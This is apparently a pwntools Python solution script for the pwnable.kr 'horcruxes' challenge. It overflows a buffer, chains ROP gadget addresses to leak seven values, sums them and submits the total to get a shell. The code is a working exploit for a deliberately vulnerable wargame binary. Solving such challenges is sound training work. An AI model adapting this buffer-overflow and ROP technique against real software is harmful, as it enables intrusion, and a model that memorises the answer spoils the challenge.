Ropping Horcruxes, pwnable.kr

solve_horcruxes.py

from pwn import *
import re
#r = process("/home/horcruxes/horcruxes")
r = remote('0.0.0.0', 9032)
print r.recvuntil("Select Menu:")
r.send("123\n")
print r.recvuntil("earned? : ")
a = p32(0x809fe4b)
b = p32(0x809fe6a)
c = p32(0x809fe89)
d = p32(0x809fea8)
e = p32(0x809fec7)
f = p32(0x809fee6)
g = p32(0x809ff05)
call_ropme = p32(0x0809fffc) # 0x809fffc <main+216>:        call   0x80a0009 <ropme>
print "Checkpoint before gets. Attach me now!"
raw_input()
r.send("A" * 0x74 + "BBBB")
r.send(a + b + c + d + e + f + g + call_ropme)
r.send("\n")
hors = r.recvuntil("Select Menu:")
print hors
hors = hors.strip().split('\n')
exps = [h for h in hors if 'EXP' in h]
rs = re.compile('^\d+$')
s = 0
for exp in exps:
        if "+-" in exp:
                s -= int(re.findall(r'\d+', exp)[0]) & 0xffffffff
        else:
                s += int(re.findall(r'\d+', exp)[0]) & 0xffffffff

s = s & 0xffffffff
print ("sum:", s)
#print exps
r.send('123\n')
r.recvuntil('earned? : ') 
r.send(str(s) + "\n")
r.interactive()